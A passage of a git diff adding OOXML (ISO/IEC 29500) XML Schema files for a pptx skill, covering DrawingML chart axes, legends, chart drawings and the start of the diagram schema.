<xsd:element name="pictureStackUnit" type="CT_PictureStackUnit" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_DispUnitsLbl"> + <xsd:sequence> + <xsd:element name="layout" type="CT_Layout" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tx" type="CT_Tx" minOccurs="0" maxOccurs="1"/> + <xsd:element name="spPr" type="a:CT_ShapeProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="txPr" type="a:CT_TextBody" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_DispUnits"> + <xsd:sequence> + <xsd:choice> + <xsd:element name="custUnit" type="CT_Double" minOccurs="1" maxOccurs="1"/> + <xsd:element name="builtInUnit" type="CT_BuiltInUnit" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + <xsd:element name="dispUnitsLbl" type="CT_DispUnitsLbl" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_Orientation"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="maxMin"/> + <xsd:enumeration value="minMax"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Orientation"> + <xsd:attribute name="val" type="ST_Orientation" default="minMax"/> + </xsd:complexType> + <xsd:simpleType name="ST_LogBase"> + <xsd:restriction base="xsd:double"> + <xsd:minInclusive value="2"/> + <xsd:maxInclusive value="1000"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_LogBase"> + <xsd:attribute name="val" type="ST_LogBase" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Scaling"> + <xsd:sequence> + <xsd:element name="logBase" type="CT_LogBase" minOccurs="0" maxOccurs="1"/> + <xsd:element name="orientation" type="CT_Orientation" minOccurs="0" maxOccurs="1"/> + <xsd:element name="max" type="CT_Double" minOccurs="0" maxOccurs="1"/> + <xsd:element name="min" type="CT_Double" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_LblOffset"> + <xsd:union memberTypes="ST_LblOffsetPercent ST_LblOffsetUShort"/> + </xsd:simpleType> + <xsd:simpleType name="ST_LblOffsetPercent"> + <xsd:restriction base="xsd:string"> + <xsd:pattern value="0*(([0-9])|([1-9][0-9])|([1-9][0-9][0-9])|1000)%"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_LblOffsetUShort"> + <xsd:restriction base="xsd:unsignedShort"> + <xsd:minInclusive value="0"/> + <xsd:maxInclusive value="1000"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_LblOffset"> + <xsd:attribute name="val" type="ST_LblOffset" default="100%"/> + </xsd:complexType> + <xsd:group name="EG_AxShared"> + <xsd:sequence> + <xsd:element name="axId" type="CT_UnsignedInt" minOccurs="1" maxOccurs="1"/> + <xsd:element name="scaling" type="CT_Scaling" minOccurs="1" maxOccurs="1"/> + <xsd:element name="delete" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="axPos" type="CT_AxPos" minOccurs="1" maxOccurs="1"/> + <xsd:element name="majorGridlines" type="CT_ChartLines" minOccurs="0" maxOccurs="1"/> + <xsd:element name="minorGridlines" type="CT_ChartLines" minOccurs="0" maxOccurs="1"/> + <xsd:element name="title" type="CT_Title" minOccurs="0" maxOccurs="1"/> + <xsd:element name="numFmt" type="CT_NumFmt" minOccurs="0" maxOccurs="1"/> + <xsd:element name="majorTickMark" type="CT_TickMark" minOccurs="0" maxOccurs="1"/> + <xsd:element name="minorTickMark" type="CT_TickMark" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tickLblPos" type="CT_TickLblPos" minOccurs="0" maxOccurs="1"/> + <xsd:element name="spPr" type="a:CT_ShapeProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="txPr" type="a:CT_TextBody" minOccurs="0" maxOccurs="1"/> + <xsd:element name="crossAx" type="CT_UnsignedInt" minOccurs="1" maxOccurs="1"/> + <xsd:choice minOccurs="0" maxOccurs="1"> + <xsd:element name="crosses" type="CT_Crosses" minOccurs="1" maxOccurs="1"/> + <xsd:element name="crossesAt" type="CT_Double" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + </xsd:sequence> + </xsd:group> + <xsd:complexType name="CT_CatAx"> + <xsd:sequence> + <xsd:group ref="EG_AxShared" minOccurs="1" maxOccurs="1"/> + <xsd:element name="auto" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="lblAlgn" type="CT_LblAlgn" minOccurs="0" maxOccurs="1"/> + <xsd:element name="lblOffset" type="CT_LblOffset" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tickLblSkip" type="CT_Skip" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tickMarkSkip" type="CT_Skip" minOccurs="0" maxOccurs="1"/> + <xsd:element name="noMultiLvlLbl" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_DateAx"> + <xsd:sequence> + <xsd:group ref="EG_AxShared" minOccurs="1" maxOccurs="1"/> + <xsd:element name="auto" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="lblOffset" type="CT_LblOffset" minOccurs="0" maxOccurs="1"/> + <xsd:element name="baseTimeUnit" type="CT_TimeUnit" minOccurs="0" maxOccurs="1"/> + <xsd:element name="majorUnit" type="CT_AxisUnit" minOccurs="0" maxOccurs="1"/> + <xsd:element name="majorTimeUnit" type="CT_TimeUnit" minOccurs="0" maxOccurs="1"/> + <xsd:element name="minorUnit" type="CT_AxisUnit" minOccurs="0" maxOccurs="1"/> + <xsd:element name="minorTimeUnit" type="CT_TimeUnit" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_SerAx"> + <xsd:sequence> + <xsd:group ref="EG_AxShared" minOccurs="1" maxOccurs="1"/> + <xsd:element name="tickLblSkip" type="CT_Skip" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tickMarkSkip" type="CT_Skip" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_ValAx"> + <xsd:sequence> + <xsd:group ref="EG_AxShared" minOccurs="1" maxOccurs="1"/> + <xsd:element name="crossBetween" type="CT_CrossBetween" minOccurs="0" maxOccurs="1"/> + <xsd:element name="majorUnit" type="CT_AxisUnit" minOccurs="0" maxOccurs="1"/> + <xsd:element name="minorUnit" type="CT_AxisUnit" minOccurs="0" maxOccurs="1"/> + <xsd:element name="dispUnits" type="CT_DispUnits" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_PlotArea"> + <xsd:sequence> + <xsd:element name="layout" type="CT_Layout" minOccurs="0" maxOccurs="1"/> + <xsd:choice minOccurs="1" maxOccurs="unbounded"> + <xsd:element name="areaChart" type="CT_AreaChart" minOccurs="1" maxOccurs="1"/> + <xsd:element name="area3DChart" type="CT_Area3DChart" minOccurs="1" maxOccurs="1"/> + <xsd:element name="lineChart" type="CT_LineChart" minOccurs="1" maxOccurs="1"/> + <xsd:element name="line3DChart" type="CT_Line3DChart" minOccurs="1" maxOccurs="1"/> + <xsd:element name="stockChart" type="CT_StockChart" minOccurs="1" maxOccurs="1"/> + <xsd:element name="radarChart" type="CT_RadarChart" minOccurs="1" maxOccurs="1"/> + <xsd:element name="scatterChart" type="CT_ScatterChart" minOccurs="1" maxOccurs="1"/> + <xsd:element name="pieChart" type="CT_PieChart" minOccurs="1" maxOccurs="1"/> + <xsd:element name="pie3DChart" type="CT_Pie3DChart" minOccurs="1" maxOccurs="1"/> + <xsd:element name="doughnutChart" type="CT_DoughnutChart" minOccurs="1" maxOccurs="1"/> + <xsd:element name="barChart" type="CT_BarChart" minOccurs="1" maxOccurs="1"/> + <xsd:element name="bar3DChart" type="CT_Bar3DChart" minOccurs="1" maxOccurs="1"/> + <xsd:element name="ofPieChart" type="CT_OfPieChart" minOccurs="1" maxOccurs="1"/> + <xsd:element name="surfaceChart" type="CT_SurfaceChart" minOccurs="1" maxOccurs="1"/> + <xsd:element name="surface3DChart" type="CT_Surface3DChart" minOccurs="1" maxOccurs="1"/> + <xsd:element name="bubbleChart" type="CT_BubbleChart" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + <xsd:choice minOccurs="0" maxOccurs="unbounded"> + <xsd:element name="valAx" type="CT_ValAx" minOccurs="1" maxOccurs="1"/> + <xsd:element name="catAx" type="CT_CatAx" minOccurs="1" maxOccurs="1"/> + <xsd:element name="dateAx" type="CT_DateAx" minOccurs="1" maxOccurs="1"/> + <xsd:element name="serAx" type="CT_SerAx" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + <xsd:element name="dTable" type="CT_DTable" minOccurs="0" maxOccurs="1"/> + <xsd:element name="spPr" type="a:CT_ShapeProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_PivotFmt"> + <xsd:sequence> + <xsd:element name="idx" type="CT_UnsignedInt" minOccurs="1" maxOccurs="1"/> + <xsd:element name="spPr" type="a:CT_ShapeProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="txPr" type="a:CT_TextBody" minOccurs="0" maxOccurs="1"/> + <xsd:element name="marker" type="CT_Marker" minOccurs="0" maxOccurs="1"/> + <xsd:element name="dLbl" type="CT_DLbl" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_PivotFmts"> + <xsd:sequence> + <xsd:element name="pivotFmt" type="CT_PivotFmt" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_LegendPos"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="b"/> + <xsd:enumeration value="tr"/> + <xsd:enumeration value="l"/> + <xsd:enumeration value="r"/> + <xsd:enumeration value="t"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_LegendPos"> + <xsd:attribute name="val" type="ST_LegendPos" default="r"/> + </xsd:complexType> + <xsd:group name="EG_LegendEntryData"> + <xsd:sequence> + <xsd:element name="txPr" type="a:CT_TextBody" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:group> + <xsd:complexType name="CT_LegendEntry"> + <xsd:sequence> + <xsd:element name="idx" type="CT_UnsignedInt" minOccurs="1" maxOccurs="1"/> + <xsd:choice> + <xsd:element name="delete" type="CT_Boolean" minOccurs="1" maxOccurs="1"/> + <xsd:group ref="EG_LegendEntryData" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Legend"> + <xsd:sequence> + <xsd:element name="legendPos" type="CT_LegendPos" minOccurs="0" maxOccurs="1"/> + <xsd:element name="legendEntry" type="CT_LegendEntry" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="layout" type="CT_Layout" minOccurs="0" maxOccurs="1"/> + <xsd:element name="overlay" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="spPr" type="a:CT_ShapeProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="txPr" type="a:CT_TextBody" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_DispBlanksAs"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="span"/> + <xsd:enumeration value="gap"/> + <xsd:enumeration value="zero"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_DispBlanksAs"> + <xsd:attribute name="val" type="ST_DispBlanksAs" default="zero"/> + </xsd:complexType> + <xsd:complexType name="CT_Chart"> + <xsd:sequence> + <xsd:element name="title" type="CT_Title" minOccurs="0" maxOccurs="1"/> + <xsd:element name="autoTitleDeleted" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="pivotFmts" type="CT_PivotFmts" minOccurs="0" maxOccurs="1"/> + <xsd:element name="view3D" type="CT_View3D" minOccurs="0" maxOccurs="1"/> + <xsd:element name="floor" type="CT_Surface" minOccurs="0" maxOccurs="1"/> + <xsd:element name="sideWall" type="CT_Surface" minOccurs="0" maxOccurs="1"/> + <xsd:element name="backWall" type="CT_Surface" minOccurs="0" maxOccurs="1"/> + <xsd:element name="plotArea" type="CT_PlotArea" minOccurs="1" maxOccurs="1"/> + <xsd:element name="legend" type="CT_Legend" minOccurs="0" maxOccurs="1"/> + <xsd:element name="plotVisOnly" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="dispBlanksAs" type="CT_DispBlanksAs" minOccurs="0" maxOccurs="1"/> + <xsd:element name="showDLblsOverMax" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_Style"> + <xsd:restriction base="xsd:unsignedByte"> + <xsd:minInclusive value="1"/> + <xsd:maxInclusive value="48"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Style"> + <xsd:attribute name="val" type="ST_Style" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_PivotSource"> + <xsd:sequence> + <xsd:element name="name" type="s:ST_Xstring" minOccurs="1" maxOccurs="1"/> + <xsd:element name="fmtId" type="CT_UnsignedInt" minOccurs="1" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Protection"> + <xsd:sequence> + <xsd:element name="chartObject" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="data" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="formatting" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="selection" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="userInterface" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_HeaderFooter"> + <xsd:sequence> + <xsd:element name="oddHeader" type="s:ST_Xstring" minOccurs="0" maxOccurs="1"/> + <xsd:element name="oddFooter" type="s:ST_Xstring" minOccurs="0" maxOccurs="1"/> + <xsd:element name="evenHeader" type="s:ST_Xstring" minOccurs="0" maxOccurs="1"/> + <xsd:element name="evenFooter" type="s:ST_Xstring" minOccurs="0" maxOccurs="1"/> + <xsd:element name="firstHeader" type="s:ST_Xstring" minOccurs="0" maxOccurs="1"/> + <xsd:element name="firstFooter" type="s:ST_Xstring" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="alignWithMargins" type="xsd:boolean" default="true"/> + <xsd:attribute name="differentOddEven" type="xsd:boolean" default="false"/> + <xsd:attribute name="differentFirst" type="xsd:boolean" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_PageMargins"> + <xsd:attribute name="l" type="xsd:double" use="required"/> + <xsd:attribute name="r" type="xsd:double" use="required"/> + <xsd:attribute name="t" type="xsd:double" use="required"/> + <xsd:attribute name="b" type="xsd:double" use="required"/> + <xsd:attribute name="header" type="xsd:double" use="required"/> + <xsd:attribute name="footer" type="xsd:double" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_PageSetupOrientation"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="default"/> + <xsd:enumeration value="portrait"/> + <xsd:enumeration value="landscape"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_ExternalData"> + <xsd:sequence> + <xsd:element name="autoUpdate" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute ref="r:id" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_PageSetup"> + <xsd:attribute name="paperSize" type="xsd:unsignedInt" use="optional" default="1"/> + <xsd:attribute name="paperHeight" type="s:ST_PositiveUniversalMeasure" use="optional"/> + <xsd:attribute name="paperWidth" type="s:ST_PositiveUniversalMeasure" use="optional"/> + <xsd:attribute name="firstPageNumber" type="xsd:unsignedInt" use="optional" default="1"/> + <xsd:attribute name="orientation" type="ST_PageSetupOrientation" use="optional" + default="default"/> + <xsd:attribute name="blackAndWhite" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="draft" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="useFirstPageNumber" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="horizontalDpi" type="xsd:int" use="optional" default="600"/> + <xsd:attribute name="verticalDpi" type="xsd:int" use="optional" default="600"/> + <xsd:attribute name="copies" type="xsd:unsignedInt" use="optional" default="1"/> + </xsd:complexType> + <xsd:complexType name="CT_PrintSettings"> + <xsd:sequence> + <xsd:element name="headerFooter" type="CT_HeaderFooter" minOccurs="0" maxOccurs="1"/> + <xsd:element name="pageMargins" type="CT_PageMargins" minOccurs="0" maxOccurs="1"/> + <xsd:element name="pageSetup" type="CT_PageSetup" minOccurs="0" maxOccurs="1"/> + <xsd:element name="legacyDrawingHF" type="CT_RelId" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_ChartSpace"> + <xsd:sequence> + <xsd:element name="date1904" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="lang" type="CT_TextLanguageID" minOccurs="0" maxOccurs="1"/> + <xsd:element name="roundedCorners" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="style" type="CT_Style" minOccurs="0" maxOccurs="1"/> + <xsd:element name="clrMapOvr" type="a:CT_ColorMapping" minOccurs="0" maxOccurs="1"/> + <xsd:element name="pivotSource" type="CT_PivotSource" minOccurs="0" maxOccurs="1"/> + <xsd:element name="protection" type="CT_Protection" minOccurs="0" maxOccurs="1"/> + <xsd:element name="chart" type="CT_Chart" minOccurs="1" maxOccurs="1"/> + <xsd:element name="spPr" type="a:CT_ShapeProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="txPr" type="a:CT_TextBody" minOccurs="0" maxOccurs="1"/> + <xsd:element name="externalData" type="CT_ExternalData" minOccurs="0" maxOccurs="1"/> + <xsd:element name="printSettings" type="CT_PrintSettings" minOccurs="0" maxOccurs="1"/> + <xsd:element name="userShapes" type="CT_RelId" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:element name="chartSpace" type="CT_ChartSpace"/> + <xsd:element name="userShapes" type="cdr:CT_Drawing"/> + <xsd:element name="chart" type="CT_RelId"/> +</xsd:schema> diff --git a/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-chartDrawing.xsd b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-chartDrawing.xsd new file mode 100644 index 00000000..afa4f463 --- /dev/null +++ b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-chartDrawing.xsd @@ -0,0 +1,146 @@ +<?xml version="1.0" encoding="utf-8"?> +<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" + xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" + xmlns="http://schemas.openxmlformats.org/drawingml/2006/chartDrawing" + targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/chartDrawing" + elementFormDefault="qualified"> + <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" + schemaLocation="dml-main.xsd"/> + <xsd:complexType name="CT_ShapeNonVisual"> + <xsd:sequence> + <xsd:element name="cNvPr" type="a:CT_NonVisualDrawingProps" minOccurs="1" maxOccurs="1"/> + <xsd:element name="cNvSpPr" type="a:CT_NonVisualDrawingShapeProps" minOccurs="1" maxOccurs="1" + /> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Shape"> + <xsd:sequence> + <xsd:element name="nvSpPr" type="CT_ShapeNonVisual" minOccurs="1" maxOccurs="1"/> + <xsd:element name="spPr" type="a:CT_ShapeProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="style" type="a:CT_ShapeStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="txBody" type="a:CT_TextBody" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="macro" type="xsd:string" use="optional"/> + <xsd:attribute name="textlink" type="xsd:string" use="optional"/> + <xsd:attribute name="fLocksText" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="fPublished" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_ConnectorNonVisual"> + <xsd:sequence> + <xsd:element name="cNvPr" type="a:CT_NonVisualDrawingProps" minOccurs="1" maxOccurs="1"/> + <xsd:element name="cNvCxnSpPr" type="a:CT_NonVisualConnectorProperties" minOccurs="1" + maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Connector"> + <xsd:sequence> + <xsd:element name="nvCxnSpPr" type="CT_ConnectorNonVisual" minOccurs="1" maxOccurs="1"/> + <xsd:element name="spPr" type="a:CT_ShapeProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="style" type="a:CT_ShapeStyle" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="macro" type="xsd:string" use="optional"/> + <xsd:attribute name="fPublished" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_PictureNonVisual"> + <xsd:sequence> + <xsd:element name="cNvPr" type="a:CT_NonVisualDrawingProps" minOccurs="1" maxOccurs="1"/> + <xsd:element name="cNvPicPr" type="a:CT_NonVisualPictureProperties" minOccurs="1" + maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Picture"> + <xsd:sequence> + <xsd:element name="nvPicPr" type="CT_PictureNonVisual" minOccurs="1" maxOccurs="1"/> + <xsd:element name="blipFill" type="a:CT_BlipFillProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="spPr" type="a:CT_ShapeProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="style" type="a:CT_ShapeStyle" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="macro" type="xsd:string" use="optional" default=""/> + <xsd:attribute name="fPublished" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_GraphicFrameNonVisual"> + <xsd:sequence> + <xsd:element name="cNvPr" type="a:CT_NonVisualDrawingProps" minOccurs="1" maxOccurs="1"/> + <xsd:element name="cNvGraphicFramePr" type="a:CT_NonVisualGraphicFrameProperties" + minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_GraphicFrame"> + <xsd:sequence> + <xsd:element name="nvGraphicFramePr" type="CT_GraphicFrameNonVisual" minOccurs="1" + maxOccurs="1"/> + <xsd:element name="xfrm" type="a:CT_Transform2D" minOccurs="1" maxOccurs="1"/> + <xsd:element ref="a:graphic" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="macro" type="xsd:string" use="optional"/> + <xsd:attribute name="fPublished" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_GroupShapeNonVisual"> + <xsd:sequence> + <xsd:element name="cNvPr" type="a:CT_NonVisualDrawingProps" minOccurs="1" maxOccurs="1"/> + <xsd:element name="cNvGrpSpPr" type="a:CT_NonVisualGroupDrawingShapeProps" minOccurs="1" + maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_GroupShape"> + <xsd:sequence> + <xsd:element name="nvGrpSpPr" type="CT_GroupShapeNonVisual" minOccurs="1" maxOccurs="1"/> + <xsd:element name="grpSpPr" type="a:CT_GroupShapeProperties" minOccurs="1" maxOccurs="1"/> + <xsd:choice minOccurs="0" maxOccurs="unbounded"> + <xsd:element name="sp" type="CT_Shape"/> + <xsd:element name="grpSp" type="CT_GroupShape"/> + <xsd:element name="graphicFrame" type="CT_GraphicFrame"/> + <xsd:element name="cxnSp" type="CT_Connector"/> + <xsd:element name="pic" type="CT_Picture"/> + </xsd:choice> + </xsd:sequence> + </xsd:complexType> + <xsd:group name="EG_ObjectChoices"> + <xsd:sequence> + <xsd:choice minOccurs="1" maxOccurs="1"> + <xsd:element name="sp" type="CT_Shape"/> + <xsd:element name="grpSp" type="CT_GroupShape"/> + <xsd:element name="graphicFrame" type="CT_GraphicFrame"/> + <xsd:element name="cxnSp" type="CT_Connector"/> + <xsd:element name="pic" type="CT_Picture"/> + </xsd:choice> + </xsd:sequence> + </xsd:group> + <xsd:simpleType name="ST_MarkerCoordinate"> + <xsd:restriction base="xsd:double"> + <xsd:minInclusive value="0.0"/> + <xsd:maxInclusive value="1.0"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Marker"> + <xsd:sequence> + <xsd:element name="x" type="ST_MarkerCoordinate" minOccurs="1" maxOccurs="1"/> + <xsd:element name="y" type="ST_MarkerCoordinate" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_RelSizeAnchor"> + <xsd:sequence> + <xsd:element name="from" type="CT_Marker"/> + <xsd:element name="to" type="CT_Marker"/> + <xsd:group ref="EG_ObjectChoices"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_AbsSizeAnchor"> + <xsd:sequence> + <xsd:element name="from" type="CT_Marker"/> + <xsd:element name="ext" type="a:CT_PositiveSize2D"/> + <xsd:group ref="EG_ObjectChoices"/> + </xsd:sequence> + </xsd:complexType> + <xsd:group name="EG_Anchor"> + <xsd:choice> + <xsd:element name="relSizeAnchor" type="CT_RelSizeAnchor"/> + <xsd:element name="absSizeAnchor" type="CT_AbsSizeAnchor"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_Drawing"> + <xsd:sequence> + <xsd:group ref="EG_Anchor" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> +</xsd:schema> diff --git a/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-diagram.xsd b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-diagram.xsd new file mode 100644 index 00000000..64e66b8a --- /dev/null +++ b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-diagram.xsd @@ -0,0 +1,1085 @@ +<?xml version="1.0" encoding="utf-8"?> +<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" + xmlns="http://schemas.openxmlformats.org/drawingml/2006/diagram" + xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" + xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" + xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" + targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/diagram" + elementFormDefault="qualified" attributeFormDefault="unqualified"> + <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" + schemaLocation="shared-relationshipReference.xsd"/> + <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" + schemaLocation="dml-main.xsd"/> + <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" + schemaLocation="shared-commonSimpleTypes.xsd"/> + <xsd:complexType name="CT_CTName"> + <xsd:attribute name="lang" type="xsd:string" use="optional" default=""/> + <xsd:attribute name="val" type="xsd:string" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_CTDescription"> + <xsd:attribute name="lang" type="xsd:string" use="optional" default=""/> + <xsd:attribute name="val" type="xsd:string" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_CTCategory"> + <xsd:attribute name="type" type="xsd:anyURI" use="required"/> + <xsd:attribute name="pri" type="xsd:unsignedInt" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_CTCategories"> + <xsd:sequence minOccurs="0" maxOccurs="unbounded"> + <xsd:element name="cat" type="CT_CTCategory" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_ClrAppMethod"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="span"/> + <xsd:enumeration value="cycle"/> + <xsd:enumeration value="repeat"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_HueDir"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="cw"/> + <xsd:enumeration value="ccw"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Colors"> + <xsd:sequence> + <xsd:group ref="a:EG_ColorChoice" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="meth" type="ST_ClrAppMethod" use="optional" default="span"/> + <xsd:attribute name="hueDir" type="ST_HueDir" use="optional" default="cw"/> + </xsd:complexType> + 